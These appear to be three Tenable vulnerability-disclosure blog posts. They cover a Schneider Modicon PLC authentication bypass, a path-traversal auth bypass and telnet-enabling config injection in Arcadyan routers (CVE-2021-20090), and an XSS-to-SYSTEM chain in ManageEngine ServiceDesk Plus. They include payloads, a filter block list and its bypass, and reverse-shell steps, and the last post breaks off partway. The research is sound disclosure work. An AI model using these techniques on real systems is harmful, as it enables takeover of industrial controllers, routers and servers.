What you see in the picture above is similar to what you might see at a factory, plant, or inside a machine. At the core of it is Schneider Electric’s Modicon M340 programmable logic controller (PLC). It’s the module at the top right with the ethernet cable plugged in (see picture below), the brains of the operation.

PLCs are devices that coordinate, monitor, and control industrial processes or machines. They interface with modules (often interconnected through a shared backplane) that allow them to gather data from sensors such as thermostats, pressure, proximity, etc.., and send control signals to equipment such as motors, pumps, and heaters. They are typically hardened in order to survive in rough environments.

PLCs are typically connected to a Supervisory Control and Data Acquisition (SCADA) system or Human Machine Interface (HMI), the user interface for control systems. SCADA controllers can monitor and control multiple subordinate PLCs from one location, and like PLCs, are also monitored and controlled by humans through a connected HMI.

In our test system, we have a Schneider Electric Modicon M340 PLC. It is able to switch on and off outlets via solid state relays and is connected to my network via an ethernet cable, and the engineering station software on my computer is running an HMI which allows me to turn the outlets on and off. Here is the simple HMI I designed for switching the outlets:

The connected light is currently on (the yellow circle). Hitting the off button will turn off the actual light and turn the circle on the interface gray.

The engineering station contains programming software (Schneider Electric Control Expert) that allows one to program both the PLC and HMI interfaces.

A PLC is very similar to a virtual machine in its operation; they typically run an underlying operating system or “firmware,” and the control program or “runtime” is started, stopped, and monitored by the underlying operating system.

These systems often operate in “air-gapped” environments (not connected to the internet) for security purposes, but this is not always the case. Additionally, it is possible for malware (e.g. stuxnet) to make it into the environments when engineers or technicians plug outside equipment into the network, such as laptops for maintenance.

Cyber security in industrial control systems has been severely lacking for decades, mostly due to the false sense of security given by “air-gaps” or segmented networks. Often controllers are not protected by any sort of security at all. Some vendors claim that it is the responsibility of an intermediary system to enforce.

As a result of this somewhat lax standpoint towards security in industrial automation, there have been a few attacks recently that made the news:

• https://www.nbcnews.com/tech/security/hacker-tried-poison-calif-water-supply-was-easy-entering-password-rcna1206
• https://www.cnn.com/2021/02/10/us/florida-water-poison-cyber/index.html

Vendors are finally starting to wake up to this, and newer PLCs and software revisions are starting to implement more hardened security all the way down to the controller level. In this blog, I will examine the recent cyber security enhancements inside Schneider Electric’s Modicon M340 PLC.

Internet Connected Devices

The team did a cursory search on BinaryEdge to determine if any of these devices (including the M580, which we later learned was also affected) are connected to the internet. To our surprise, we found quite a few that appear legitimate across several industries including:

• Water Treatment
• Oil (production)
• Gas
• Solar
• Hydro
• Drainage / Levees
• Dairy
• Car Washes
• Cosmetics
• Fertilizer
• Parking
• Plastic Manufacturing
• Air Filtration

Here is a breakdown of the top 10 affected countries at the time of this writing:

We have alerted ICS-CERT of the presence of these devices prior to disclosure in order to hopefully mitigate any possible attacks.

PLC Engineering Station Connection

The engineering station talks to the PLC primarily via two protocols, FTP, and Modbus. FTP is primarily used to upgrade the firmware on the device. Modbus is used to upload the runtime code to the controller, start/stop the controller runtime, and allow for remote monitoring and control via an HMI.

Modbus can be utilized over various transport layers such as ethernet or serial. In this blog, we will focus on Modbus over TCP/IP.

Modbus is a very simple protocol designed by Schneider Electric for communicating with multiple controllers for the purposes of monitoring and control. Here is the Modbus TCP/IP packet structure:

There are several predefined function codes in modbus, like read/write coils (e.g. for operating relays attached to a PLC) or read/write registers (e.g. to read sensor data). For our controller (and many others), Schneider Electric has a custom function code called Unified Messaging Application Services or UMAS. This function code is 0x5a, or 90. The data bytes contain the underlying UMAS packet data. So in essence, UMAS is tunneled through Modbus.

After the 0x5a there are two bytes, the second of which is the UMAS packet type. In the image above, it is 0x02, which is a READ_ID request. You can find out more information about the UMAS protocol, and a break down of the various message types in this great writeup: http://lirasenlared.blogspot.com/2017/08/the-unity-umas-protocol-part-i.html.

M340 Cyber Security

The recent cyber security enhancements in the M340 firmware (from version 3.01 on 2/2019 and onward) are designed to prevent a remote attacker from executing certain functions on the controller, such as starting and stopping the runtime, reading and writing variables or system bits (to control the program execution), or even uploading a new project to the controller if an application password is configured under the “Project & Controller Protection” tab in the project properties. Due to it being improperly implemented, it is possible to start and stop the controller without this password, as well as perform other control functions protected by the cyber security feature.

Auth Bypass

When connecting to a PLC, the client sends a request to read memory block <redacted> on the PLC before any authentication is performed. This block appears to contain information about the project (such as the project name, version, and file path to the project on the engineering station) and authentication information as well.

Here, “TenableFactory” is the project name. “AGC7MAIWE” is the “Crypted” program and safety project password. The base64 string is used afterwards to verify the application password. This is done as follows:

The actual password is only checked on the client side. To negotiate an authenticated session, or “reservation” first you need to generate a 32 byte random nonce (which is a term for a random number generated once each session), send it to the server, and get one back. This is done through a new type of UMAS packet introduced with the cyber security upgrades, which is <redacted>. I’ve highlighted the nonces (client followed by server) exchanged below:

The next step is to make a reservation using packet type <redacted>. With the new cyber security enhancements, in addition to the computer name of the connecting host, an ASCII sha256 hash is also appended:

This hash is generated as follows:

SHA256 (server_nonce + base64_str + client_nonce)

The base64 string is from the first block <redacted> read and in this case would be:

“pMESWEjNgAY=\r\nf6A17wsxm7F5syxa75GsQhNVC4bDw1qrEhnAp08RqsM=\r\n”. 

You do not need to know the actual password to generate this SHA256.

The response contains a byte at the end (here it is 0xc9) that needs to be included after the 0x5a in protected requests (such as starting and stopping the PLC runtime).

To generate a request to a protected function (such as start PLC runtime) you first start with the base request:

# start PLC request

to_send = “\x5a” + check_byte + “\x40\xff\x00”

check_byte in this case would be 0xc9 from the reservation request response. You then calculate two hashes:

auth_hash_pre = sha256(hardware_id + client_nonce).digest()

auth_hash_post = sha256(hardware_id + server_nonce).digest()

hardware_id can be obtained by issuing an info request (0x02):

Here the hardware_id is 06 01 03 01.

Once you have the hashes above, you calculate the “auth” hash as follows:

auth_hash = (sha256(auth_hash_pre + to_send + auth_hash_post).digest())

The complete packet (without modbus header) is built as follows:

start_plc_pkt = (“\x5a” + check_byte + “\x38\01” + auth_hash + to_send)

Put everything together in a PoC and you can do things like start and stop controllers remotely:

A complete PoC (auth_bypass_poc.py) can be found here:

<redacted>

Here is a demo video of the exploit in action, against a model water treatment plant:

Ideally, the controller itself should verify the password. Using a temporal key-exchange algorithm such as Diffie-Hellman to negotiate a pre-shared key, the password could be encrypted using a cipher such as AES and securely shared with the controller for evaluation. Better yet, certificate authentication could be implemented which would allow access to be easily revoked from one central location.

Program and Safety Password

If the Crypted box is checked, a weak, unknown, non-cryptographically sound custom algorithm is used, which reveals the length of the password (the length of hash = length of password).

If the “Crypt” box isn’t checked, this password is in plaintext which is a password disclosure issue.

Here is a reverse engineered implementation I wrote in python:

This appears to be a custom hashing function, as I couldn’t find anything similar to it during my research. There are a couple of issues I’ve noticed. First, the length of the hash matches the length of the password, revealing the password length. Secondly, the hash itself is limited in characters (A-Z and 0–9) which is likely to lead to hash collisions. It is easily possible to find two plaintext messages that hash to the same value, especially with smaller passwords. For example, ‘acq’, ‘asq’, ‘isy’ and ‘qsq’ all hash to ‘5DF’.

Firmware Web Server Errata

Here are a few things I noticed while examining the controller firmware, specifically having to do with the built-in PLC web server they call FactoryCase. This is not enabled by default.

Predictable Web Nonce

The web nonce is calculated by concatenating a few time stamps to a hard coded string. Therefore, it would be possible to predict what values the nonce might be within a certain time frame.

The proper way to calculate a nonce would be to use a proper cryptographic random number generator.

Rot13 Storage of Web Password Data

It appears that the plaintext web username and password is stored somewhere locally on the controller using rot13. Ideally, these should be stored using a salted hash. If the controller was stolen, it might be possible for an attacker to recover this password.

Conclusion

What at the surface looks like authentication, especially when viewing a packet capture, actually isn’t when you dig into the details. Some critical errors were made and not caught during the design and testing of the authentication mechanisms. More oversight and auditing is needed for the security mechanisms in critical products such as this. It’s as critical as the water proofing, heat shielding, and vibration hardening in the hardware. These enhancements should not have made it past critical design review.

This goes back to a core tenet of security that you can’t trust a client. You have to verify every interaction server side. You can not rely on client side software (a.k.a “Engineering Station”) to do the security checks. This verification needs to be done at every level, all the way down to the PLCs.

Another tenet violated would be to not roll your own crypto. There are tons of standard cryptographic algorithms implemented in well tested and designed libraries, and published authentication standards that are easy enough to borrow. You will make a mistake trying to implement it yourself.

We disclosed the vulnerability to Schneider Electric in May 2021. As per https://www.zdnet.com/article/modipwn-critical-vulnerability-discovered-in-schneider-electric-modicon-plcs/, the vulnerability was first reported to Schneider in Fall 2020. In the interest of keeping sensitive systems “safer”, we have had to redact multiple opcodes and PoC code from the blog as this is one of those rarest of rare cases where full disclosure couldn’t be followed. After many animated internal discussions, we had to take this step even though we are proponents of full disclosure. Schneider hasn’t provided an ETA yet on when this issue would be fixed, saying that it is still many months out. We were also informed that five other researchers have co-discovered and reported this issue.

While vendors are expected to patch within 90 days of disclosure, the ICS industry as a whole hasn’t evolved to the extent it should have in terms of security maturity to meet these expectations. Given the sensitive industries where the PLCs are deployed, one would imagine that we would have come a long way by now in terms of elevating the security posture. Prioritizing and funding a holistic Security Development Lifecycle (SDL) is key to reducing cyber exposure and raising the bar for attackers.. However, many of these systems are just sitting there unguarded and in some cases, without anyone aware of the potential danger.

See https://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2021-194-01 for Schneider Electrics advisory.

See https://us-cert.cisa.gov/ics/advisories/icsa-21-194-02 for ICS-CERTs advisory.

Examining Crypto and Bypassing Authentication in Schneider Electric PLCs (M340/M580) was originally published in Tenable TechBlog on Medium, where people are continuing the conversation by highlighting and responding to this story.

A while back I was browsing Amazon Japan for their best selling networking equipment/routers (as one does). I had never taken apart or hunted for vulnerabilities in a router and was interested in taking a crack at it. I came across the Buffalo WSR-2533DHP3 which was, at the time, the third best selling device on the list. Unfortunately, the sellers didn’t ship to Canada, so I instead bought the closely related Buffalo WSR-2533DHPL2 (though I eventually got my hands on the WSR-2533DHP3 as well).

In the following sections we will look at how I took the Buffalo devices apart, did a not-so-great solder job, and used a shell offered up on UART to help find a couple of bugs that could let users bypass authentication to the web interface and enable a root BusyBox shell on telnet.

At the end, we will also take a quick look at how I discovered that the authentication bypass vulnerability was not limited to the Buffalo routers, and how it affects at least a dozen other models from multiple vendors spanning a period of over ten years.

Root shells on UART

It is fairly common for devices like these Buffalo routers to offer up a shell via a serial connection known as Universal Asynchronous Receiver/Transmitter (UART) on the circuit board. Manufacturers often leave test points or unpopulated pads on the circuit board for accessing UART. These are often used for debugging or testing the device during manufacture. In this case, we were extremely lucky that, after some poor soldering and testing, the WSR-2533DHPL2 offered up a BusyBox shell as root over UART.

In case this is new to anyone, let’s quickly walk through this process (there are many articles out there on the web with a more detailed walkthrough on hardware hacking and UART shells).

The first step is for us to open up the router’s case and try to identify if there is a way to access UART.

We can see a header labeled J4 which may be what we’re looking for. The next step is to test the contacts with a multimeter to identify power (VCC), ground (GND), and our potential transmit/receive (TX/RX) pins. Once we’ve identified those, we can solder on some pins and connect them to a tool like JTAGulator to identify which pins we will communicate on, and at what baud rate.

We could identify this in other ways, but the JTAGulator makes it much easier. After setting the voltage we’re using (3.3V found using the multimeter earlier) we can run a UART scan which will try sending a carriage-return (or some other specified bytes) and receiving on each pin, at different bauds, which helps us identify what combination thereof will let us communicate with the device.

The UART scan shows that sending a carriage return over pin 0 as TX, with pin 2 as RX, and a baud of 57600, gives an output of BusyBox v1, which looks like we may have our shell.

Sure enough, after setting the JTAGulator to UART Passthrough mode (which allows us to communicate with the UART port) using the settings we found with the UART scan, we are dropped into a root shell on the device.

We can now use this shell to explore the device, and transfer any interesting binaries to another machine for analysis. In this case, we grabbed the httpd binary which was serving the device’s web interface.

Httpd and web interface authentication

Having access to the httpd binary makes hunting for vulnerabilities in the web interface much easier, as we can throw it into Ghidra and identify any interesting pieces of code. One of the first things I tend to look at when analyzing any web application or interface is how it handles authentication.

While examining the web interface I noticed that, even after logging in, no session cookies are set, and no tokens are stored in local/session storage, so how was it tracking who was authenticated? Opening httpd up in Ghidra, we find a function named evaluate_access() which leads us to the following snippet:

FUN_0041f9d0() in the screenshot above checks to see if the IP of the host making the current request matches that of an IP from a previous valid login.

Now that we know what evaluate_access() does, lets see if we can get around it. Searching for where it is referenced in Ghidra we can see that it is only called from another function process_request() which handles any incoming HTTP requests.

Something which immediately stands out is the logical OR in the larger if statement (lines 45–48 in the screenshot above) and the fact that it checks the value of uVar1 (set on line 43) before checking the output of evaluate_access(). This means that if the output of bypass_check(__dest) (where __dest is the url being requested) returns anything other than 0, we will effectively skip the need to be authenticated, and the request will go through to process_get() or process_post().

Let’s take a look at bypass_check().

Bypassing checks with bypass_check()

Taking a look at bypass_check() in the screenshot above, we can see that it is looping through bypass_list, and comparing the first n bytes of _dest to a string from bypass_list, where n is the length of the string grabbed from bypass_list. If no match is found, we return 0 and will be required to pass the checks in evaluate_access(). However, if the strings match, then we don’t care about the result of evaluate_access(), and the server will process our request as expected.

Glancing at the bypass list we see login.html, loginerror.html and some other paths/pages, which makes sense as even unauthenticated users will need to be able to access those urls.

You may have already noticed the bug here. bypass_check() is only checking as many bytes as are in the bypass_list strings. This means that if a user is trying to reach http://router/images/someimage.png, the comparison will match since /images/ is in the bypass list, and the url we are trying to reach begins with /images/. The bypass_check() function doesn’t care about strings which come after, such as “someimage.png”. So what if we try to reach /images/../<somepagehere>? For example, let’s try /images/..%2finfo.html. The /info.html url normally contains all of the nice LAN/WAN info when we first login to the device, but returns any unauthenticated users to the login screen. With our special url, we might be able to bypass the authentication requirement.

After a bit of match/replace to account for relative paths, we still see an underwhelming display. We have successfully bypassed authentication using the path traversal (🙂 ) but we’re still missing something (🙁 ).

Looking at the Burp traffic, we can see a number of requests to /cgi/<various_nifty_cgi>.js are returning a 404, which normally return all of the info we’re looking for. We also see that there are a couple of parameters passed when making requests to those files.

One of those parameters (_t) is just a datetime stamp. The other is an httoken, which acts like a CSRF token, and figuring out where / how those are generated will be discussed in the next section. For now, let’s focus on why these particular requests are failing.

Looking at httpd in Ghidra shows that there is a fair amount of debugging output printed when errors occur. Stopping the default httpd process, and running it from our shell shows that we can easily see this output which may help us identify the issue with the current request.

Without diving into url_token_pass, we can see that it is saying that httoken is invalid from http://192.168.11.1/images/..%2finfo.html. We will dive into httokens next, but the token we have here is correct, which means that the part causing the failure is the “from” url, which corresponds to the Referer header in the request. So, if we create a quick match/replace rule in Burp Suite to fix the Referer header to remove the /images/..%2f then we can see the info table, confirming our ability to bypass authentication.

A quick summary of where we are so far:

• We can bypass authentication and access pages which should be restricted to authenticated users.
• Those pages include access to httokens which let us make GET/POST requests for more sensitive info and grant the ability to make configuration changes.
• We know we also need to set the Referer header appropriately in order for httokens to be accepted.

The adventure of getting proper httokens

While we know that the httokens are grabbed at some point on the pages we access, we don’t know where they’re coming from or how they’re generated. This will be important to understand if we want to carry this exploitation further, since they are required to do or access anything sensitive on the device. Tracking down how the web interface produces these tokens felt like something out of a Capture-the-Flag event.

The info.html page we accessed with the path traversal was populating its information table with data from .js files under the /cgi/ directory, and was passing two parameters. One, a date time stamp (_t), and the other, the httoken we’re trying to figure out.

We can see that the links used to grab the info from /cgi/ are generated using the URLToken() function, which sets the httoken (the parameter _tn in this case) using the function get_token(), but get_token() doesn’t seem to be defined anywhere in any of the scripts used on the page.

Looking right above where URLToken() is defined we see this strange string defined.

Looking into where it is used, we find the following snippet.

Which, when run adds the following script to the page:

We’ve found our missing getToken() function, but it looks to be doing something equally strange as the snippets that got us here. It is grabbing another encoded string from an image tag which appears to exist on every page (with differing encoded strings). What is going on here?

The httokens are being grabbed from these spacer img src strings and are used to make requests to sensitive resources.

We can find a function where the httoken is being inserted into the img tag in Ghidra.

Without going into all of the details around the setting/getting of httoken and how it is checked for GET and POST requests, we will say that:

• httokens, which are required to make GET and POST requests to various parts of the web interface, are generated server-side.
• They are stored encoded in the img tags at the bottom of any given page when it loads
• They are then decoded in client-side javascript.

We can use the tokens for any requests we need as long as the token and the Referer being used in the request match. We can make requests to sensitive pages using the token grabbed from login.html, but we still need the authentication bypass to access some actions (like making configuration changes).

Notably, on the WSR-2533DHPL2 just using this knowledge of the tokens means we can access the administrator password for the device, a vulnerability which appears to already be fixed on the WSR-2533DHP3 (despite both having firmware releases around the same time).

Now that we know we can effectively perform any action on the device without being authenticated, let’s see what we can do with that.

Injecting configuration options and enabling telnetd

One of the first places I check for any web interface / application which has utilities like a ping function is to see how those utilities are implemented, because even just a quick Google turns up a number of historic examples of router ping utilities being prone to command injection vulnerabilities.

While there wasn’t an easily achievable command injection in the ping command, looking at how it is implemented led to another vulnerability. When the ping command is run from the web interface, it takes an input of the host to ping.

After the request is made successfully, ARC_ping_ipaddress is stored in the global configuration file. Noting this, the first thing I tried was to inject a newline/carriage return character (%0A when url-encoded), followed by some text to see if we could inject configuration settings. Sure enough, when checking the configuration file, the text entered after %0A appears on a new line in the configuration file.

With this in mind, we can take a look at any interesting configuration settings we see, and hope that we’re able to overwrite them by injecting the ARC_ping_ipaddress parameter. There are a number of options seen in the configuration file, but one which caught my attention was ARC_SYS_TelnetdEnable=0. Enabling telnetd seemed like a good candidate for gaining a remote shell on the device.

It was unclear whether simply injecting the configuration file with ARC_SYS_TelnetdEnable=1 would work, as it would then be followed by a conflicting setting later in the file (as ARC_SYS_TelnetdEnable=0 appears lower in the configuration file than ARC_ping_ipdaddress). However, after sending the following request in Burp Suite, and sending a reboot request (which is necessary for certain configuration changes to take effect).

Once the reboot completes we can connect to the device on port 23 where telnetd is listening, and are greeted with a root BusyBox shell, just like we have via UART.

Altogether now

Here are the pieces we need to put together in a python script if we want to make exploiting this super easy:

• Get proper httokens from the img tags on a page.
• Use those httokens in combination with the path traversal to make a valid request to apply_abstract.cgi
• In that valid request to apply_abstract.cgi, inject the ARC_SYS_TelnetdEnable=1 configuration option
• Send another valid request to reboot the device

Surprise: More affected devices

Shortly before the 90 day disclosure date for the vulnerabilities discussed in this blog, I was trying to determine the number of potentially affected devices visible online via Shodan and BinaryEdge. In my searches, I noticed that a number of devices which presented similar web interfaces to those seen on the Buffalo devices. Too similar, in fact, as they appeared to use almost all the same strange methods for hiding the httokens in img tags, and javascript functions obfuscated in “enkripsi” strings.

The common denominator is that all of the devices were manufactured by Arcadyan. In hindsight, it should have been obvious to look for more affected devices outside of Buffalo’s product line given how much of the Buffalo firmware appeared to have been built by Arcadyan. However, after obtaining and testing a number of Arcadyan-manufactured devices it also became clear that not all of them were created equally, and the devices weren’t always affected in exactly the same way.

That said, all of the devices we were able to test or have tested via third-parties shared at least one vulnerability: The path traversal which allows an attacker to bypass authentication, now assigned as CVE-2021–20090. This appears to be shared by almost every Arcadyan-manufactured router/modem we could find, including devices which were originally sold as far back as 2008.

On April 21st, 2021, Tenable reported CVE-2021–20090 to four additional vendors (Hughesnet, O2, Verizon, Vodafone), and reported the issues to Arcadyan on April 22nd. As time went on it became clear that many more vendors were affected and contacting and tracking them all would become very difficult, and so on May 18th, Tenable reported the issues to the CERT Coordination Center for help with that process. A list of the affected devices can be found in either Tenable’s own advisory, and more information can be found on CERT’s page tracking the issue.

There is a much larger conversation to be had about how this vulnerability in Arcadyan’s firmware has existed for at least 10 years and has therefore found its way through the supply chain into at least 20 models across 17 different vendors, and that is touched on in a whitepaper Tenable has released.

Takeaways

The Buffalo WSR-2533DHPL2 was the first router I’d ever purchased for the purpose of discovering vulnerabilities, and it was a super fun experience. The strange obfuscations and simplicity of the bugs made it feel like my own personal CTF. While I got a little more than I bargained for upon learning how widespread one of the vulnerabilities (CVE-2021–20090) was, it was an important lesson in how one should approach research on consumer electronics: The vendor selling you the device is not necessarily the one who manufactured it, and if you find bugs in a consumer router’s firmware, they could potentially affect many more vendors and devices than just the one you are researching.

I’d also like to encourage security researchers who are able to get their hands on one of the 20+ affected devices to take a look for (and report) any post-authentication vulnerabilities like the configuration injection found in the Buffalo routers. I suspect there are a lot more issues to be found in this set of devices, but each device is slightly different and difficult to obtain for researchers not living in the country where they are sold/provided by a local ISP.

Thanks for reading, and happy hacking!

Bypassing Authentication on Arcadyan Routers with CVE-2021–20090 and rooting some Buffalo was originally published in Tenable TechBlog on Medium, where people are continuing the conversation by highlighting and responding to this story.

The unauthorized access of FireEye red team tools was an eye-opening event for the security community. In my personal opinion, it was especially enlightening to see the “prioritized list of CVEs that should be addressed to limit the effectiveness of the Red Team tools.” This list can be found on FireEye’s GitHub. The list reads to me as though these vulnerabilities are probably being exploited during FireEye red team engagements. More than likely, the listed products are commonly found in target environments. As a 0-day bug hunter, this screams out, “hunt me!” So we did.

Last, but not least, on the list is “CVE-2019–8394 — arbitrary pre-auth file upload to ZoHo ManageEngine ServiceDesk Plus.” A Shodan search for “ManageEngine ServiceDesk Plus” in the page title reveals over 5,000 public-facing instances. We chose to target this product, and we found some high impact vulnerabilities. On one hand, we’ve found a way to fully compromise the server, and on the other, we can exploit the agent software. This is a pentester’s pivoting playground.

Our story will be split into two blogs. Pivot over to David Wells’ related blog to check out a mind-bending heap overflow in the AssetExplorer Agent. For bugs on the server-side stay tuned.

TLDR

ManageEngine ServiceDesk Plus, prior to version 11200, is susceptible to a vulnerability chain leading to unauthenticated remote code execution. An unauthenticated, remote attacker is able to upload a malicious asset to the help desk. Once an unknowing help desk administrator views this new asset, the attacker can take control of the help desk application and fully compromise the underlying operating system.

The two flaws in the exploit chain include an unauthenticated stored cross-site scripting vulnerability (CVE-2021–20080) and a case of weak input validation (CVE-2021–20081) leading to arbitrary code execution. Initial access is first gained via cross-site scripting, and once triggered, the attacker can schedule the execution of malicious code with SYSTEM privileges. Below I have detailed these vulnerabilities.

Gaining a Foothold via XML Asset Ingestion

A key component of an IT service desk is the ability to manage assets. For example, company laptops, desktops, etc would likely be provisioned by IT and managed in a service desk software.

In ManageEngine ServiceDesk Plus (SDP), there is an API endpoint that allows an unauthenticated HTTP client to upload XML files containing asset definitions. The asset definition file allows all sorts of details to be defined, such as make, model, operating system, memory, network configuration, software installed, etc.

When a valid asset is POSTed to /discoveryServlet/WsDiscoveryServlet, an XML file is created on the server’s file system containing the asset. This file will be stored at C:\Program Files\ManageEngine\ServiceDesk\scannedxmls.

After a minute or so, it will be automatically picked up by SDP for processing. The asset will then be stored in the database, and it will be viewable as an asset in the administrative web user interface.

Below is an example of a Mac asset being uploaded. For the sake of brevity, I’ve left out most of the XML file. The key component is bolded on the line starting with “inet” in the “/sbin/ifconfig” output. The full proof of concept (PoC) can be found on our TRA-2021–11 research advisory.

Notice that the IP address contains JavaScript code to fire an alert. This is where the vulnerability rears its ugly head. The injected JavaScript will not be sanitized prior to being loaded in a web browser. Hence, the attacker can execute arbitrary JavaScript and abuse this flaw to perform administrative actions in the help desk application.

<?xml version="1.0" encoding="UTF-8" ?><DocRoot>
… snip ...
<NIC_Info><command>/sbin/ifconfig</command><output><![CDATA[
en0: flags=8863<UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICAST> mtu 1500
 options=400<CHANNEL_IO>
 ether 8c:85:90:d4:a6:e9 
 inet6 fe80::103b:588a:7772:e9db%en0 prefixlen 64 secured scopeid 0x5 
 inet ');}{alert("xss");// netmask 0xffffff00 broadcast 192.168.0.255
 nd6 options=201<PERFORMNUD,DAD>
 media: autoselect
 status: active
]]></output></NIC_Info>
… snip ...
</DocRoot>

Let’s assume this XML is processed by SDP. When the administrator views this specific asset in SDP, a JavaScript alert would fire.

It’s pretty clear here that a stored cross-site scripting vulnerability exists, and we’ve assigned it as CVE-2021–20080. The root cause of this vulnerability is that the IP address is used to construct a JavaScript function without sanitization. This allows us to inject malicious JavaScript. In this case, the function would be constructed as such:

function clickToExpandIP(){
 jQuery('#ips').text('[ ');}{alert("xss");// ]');
}

Notice how I closed the text() function call and the clickToExpandIP() function definition.

.text('[ ');}

After this, since there is a hanging closing curly brace on the next line, I start a new block, call alert, and comment out the rest of the line.

{alert("xss");//

Alert! We won’t stop here. Let’s ride the victim administrator’s session.

Reusing the HttpOnly Cookies

When a user logs in, the following session cookies are set in the response:

Set-Cookie: SDPSESSIONID=DC6B4FDF88491030FD4CE332509EE267; Path=/; HttpOnly
Set-Cookie: JSESSIONIDSSO=167646B5D793A91BC5EA12C1CAB9BEAB; Path=/; HttpOnly

The cookies have the HttpOnly flag set, which prevents JavaScript from accessing these cookie values directly. However, that doesn’t mean we can’t reuse the cookies in an XMLHttpRequest. The cookies will be included in the request, just as if it were a form submission.

The problem here is that a CSRF token is also in play. For example, if a user were to be deleted, the following request would fire.

DELETE /api/v3/users?ids=9 HTTP/1.1
Host: 172.26.31.177:8080
Content-Length: 160
Cache-Control: max-age=0
Accept: application/json, text/javascript, */*; q=0.01
X-ZCSRF-TOKEN: sdpcsrfparam=07b3f63e7109455ca9e1fad3871e92feb7aa22c086d43e0dfb3f09c0e9d77163481dc8e914422808f794c020c6e9e93fc0f9de633dab681eefe356bb9d18a638
X-Requested-With: XMLHttpRequest
If-Modified-Since: Thu, 1 Jan 1970 00:00:00 GMT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://172.26.31.177:8080
Referer: http://172.26.31.177:8080/SetUpWizard.do?forwardTo=requester&viewType=list
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: SDPSESSIONID=DC6B4FDF88491030FD4CE332509EE267; JSESSIONIDSSO=167646B5D793A91BC5EA12C1CAB9BEAB; PORTALID=1; sdpcsrfcookie=07b3f63e7109455ca9e1fad3871e92feb7aa22c086d43e0dfb3f09c0e9d77163481dc8e914422808f794c020c6e9e93fc0f9de633dab681eefe356bb9d18a638; _zcsr_tmp=07b3f63e7109455ca9e1fad3871e92feb7aa22c086d43e0dfb3f09c0e9d77163481dc8e914422808f794c020c6e9e93fc0f9de633dab681eefe356bb9d18a638; memarketing-_zldp=Mltw9Iqq5RScV1w4XmHqtfyjDzbcGg%2Fgj2ZFSsChk9I%2BFeA4HQEbmBi6kWOCHoEBmdhXfrM16rA%3D; memarketing-_zldt=35fbbf7a-4275-4df4-918f-78167bc204c4-0
Connection: close

sdpcsrfparam=07b3f63e7109455ca9e1fad3871e92feb7aa22c086d43e0dfb3f09c0e9d77163481dc8e914422808f794c020c6e9e93fc0f9de633dab681eefe356bb9d18a638&SUBREQUEST=XMLHTTP

Notice the use of the ‘X-ZCSRF-TOKEN’ header and the ‘sdpcsrfparam’ request parameter. The token value is also passed in the ‘sdpcsrfcookie’ and ‘_zcsr_tmp’ cookies. This means subsequent requests won’t succeed unless we set the proper CSRF headers and cookies.

However, when the CSRF cookies are set, they do not set the HttpOnly flag. Because of this, our malicious JavaScript can harvest the value of the CSRF token in order to provide the required headers and request data.

Putting it all together, we are able to send an XMLHttpRequest:

• with the proper session cookie values
• and with the required CSRF token values.

No Spaces Allowed

Another fun roadblock was the fact that spaces couldn’t be included in the IP address. If we were to specify the line with “AN IP” as the IP address:

inet AN IP netmask 0xffffff00 broadcast 192.168.0.255

The JavaScript function would be generated as such:

function clickToExpandIP(){
 jQuery('#ips').text('[ AN ]');
}

Notice that ‘IP’ was truncated. This is due to the way that ServiceDesk Plus parses the IP address field. It expects an IP address followed by a space, so the “IP” text would be truncated in this case.

However, this can be bypassed using multiline comments to replace spaces.

');}{var/**/text="stillxss";alert(text);//

Putting these pieces together, this means when we exploit the XSS, and the administrator views our malicious asset, we can fire valid (and complex) application requests with administrative privileges. In particular, I ended up abusing the custom scheduled task feature.

Code Execution via a Malicious Custom Schedule

Being an IT service desk software, ManageEngine ServiceDesk Plus has loads of functionality. Similar to other IT software out there, it allows you to create custom scheduled tasks. Also similar to other IT software, it lets you run system commands. With powerful functionality, there is a fine line separating a vulnerability and a feature that simply works as designed. In this case, there is a clear vulnerability (CVE-2021–20081).

Above I have pasted a screen shot of the form that allows an administrator to create a custom schedule. Notice the executor example in the Action section. This allows the administrator to run a command on a scheduled basis.

Dangerous, yes. A vuln? Not yet. It’s by design.

What happens if the administrator wants to write some text to the file system using this feature?

Interestingly, “echo” is a restricted word. Clearly a filter is in place to deny this word, probably for cases like this. After some code review, I found an XML file defining a list of restricted words.

C:\Program Files\ManageEngine\ServiceDesk\conf\Asset\servicedesk.xml:

<GlobalConfig globalconfigid="GlobalConfig:globalconfigid:2600" category="Execute_Script" parameter="Restricted_Words" paramvalue="outfile,Out-File,write,echo,OpenTextFile,move,Move-Item,move,mv,MoveFile,del,Remove-Item,remove,rm,unlink,rmdir,DeleteFile,ren,Rename-Item,rename,mv,cp,rm,MoveFile" description="Script Restricted Words"/>

Notice the word “echo” and a bunch of other words that all seem to relate to file system operations. Clearly the developer did not want to allow a custom scheduled task to explicitly modify files.

If we look at com.adventnet.servicedesk.utils.ServiceDeskUtil.java, we can see how the filter is applied.

public String[] getScriptRestrictedWords() throws Exception {
        String restrictedWords = GlobalConfigUtil.getInstance().getGlobalConfigValue("Restricted_Words", "Execute_Script");
        return restrictedWords.split(",");
    }

public Set containsScriptRestrictedWords(String input) throws Exception {
        HashSet<String> input_words = new HashSet<String>();
        input_words.addAll(Arrays.asList(input.split(" ")));
        input_words.retainAll(Arrays.asList(this.getScriptRestrictedWords()));
        return input_words;
    }

Most notably, the command line input string is split into words using a space character as a delimiter.

input_words.addAll(Arrays.asList(input.split(" ")));

This method of blocking commands containing restricted words is simply inadequate, and this is where the vulnerability comes into play. Let me show you how this filter can be bypassed.

One bypass for this involves the use of commas (or semicolons) to delimit the arguments of a command. For example, all of these commands are equivalent.

c:\>echo "Hello World"
"Hello World"

c:\>echo,"Hello World"
"Hello World"

c:\>echo;"Hello World"
"Hello World"

With this in mind, an administrator could craft a command with commas to write to disk. For example:

cmd /c "echo,testing > C:\\test.txt"

Even better, the command will execute with NT AUTHORITY\SYSTEM privileges. Sysinternals Process Monitor will prove that:

Pop a Shell

I opted for a Java-based reverse shell since I knew a Java executable would be shipped with ServiceDesk Plus. It is written in Java, after all. The command line contains the following logic.

I first used ‘echo’ to write out a Base64-encoded Java class.

echo,<Base64 encoded Java reverse shell class>> b64file

After that I used ‘certutil’ to decode the data into a functioning Java class. Thanks to Casey Dunham for the awesome Java reverse shell.

